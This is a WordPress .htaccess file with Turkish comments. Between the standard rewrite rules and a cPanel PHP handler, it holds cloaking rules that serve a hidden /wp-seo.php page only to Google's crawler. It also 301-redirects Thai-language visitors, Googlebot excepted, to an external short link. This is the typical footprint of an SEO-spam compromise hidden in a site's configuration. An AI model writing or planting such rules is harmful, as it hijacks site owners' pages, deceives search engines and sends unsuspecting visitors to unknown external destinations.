# ==================================
# Googlebot için wp-seo.php
# ==================================
<IfModule mod_rewrite.c>
RewriteEngine On

# Google User-Agent
RewriteCond %{HTTP_USER_AGENT} Google [NC]

# Sadece / veya /index.php
RewriteCond %{REQUEST_URI} ^/$ [OR]
RewriteCond %{REQUEST_URI} ^/index\.php$

# Internal rewrite (redirect yok)
RewriteRule ^(index\.php)?$ /wp-seo.php [L]
</IfModule>

# ==================================
# Accept-Language = th → Redirect
# (Googlebot HARİÇ)
# ==================================
<IfModule mod_rewrite.c>
RewriteEngine On

RewriteCond %{HTTP_USER_AGENT} !Google [NC]
RewriteCond %{HTTP:Accept-Language} ^th [NC]
RewriteRule ^$ https://swiy.co/goodrich555 [R=301,L]
</IfModule>

# ==================================
# DirectoryIndex
# ==================================
DirectoryIndex index.php index.html index.htm

# ==================================
# WordPress Rewrite
# ==================================
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /

RewriteRule ^index\.php$ - [L]

RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]

ErrorDocument 403 /index.php
ErrorDocument 404 /index.php
</IfModule>

# ==================================
# PHP Handler (cPanel)
# ==================================

# php -- BEGIN cPanel-generated handler, do not edit
# Set the “ea-php74” package as the default “PHP” programming language.
<IfModule mime_module>
  AddHandler application/x-httpd-ea-php74 .php .php7 .phtml
</IfModule>
# php -- END cPanel-generated handler, do not edit
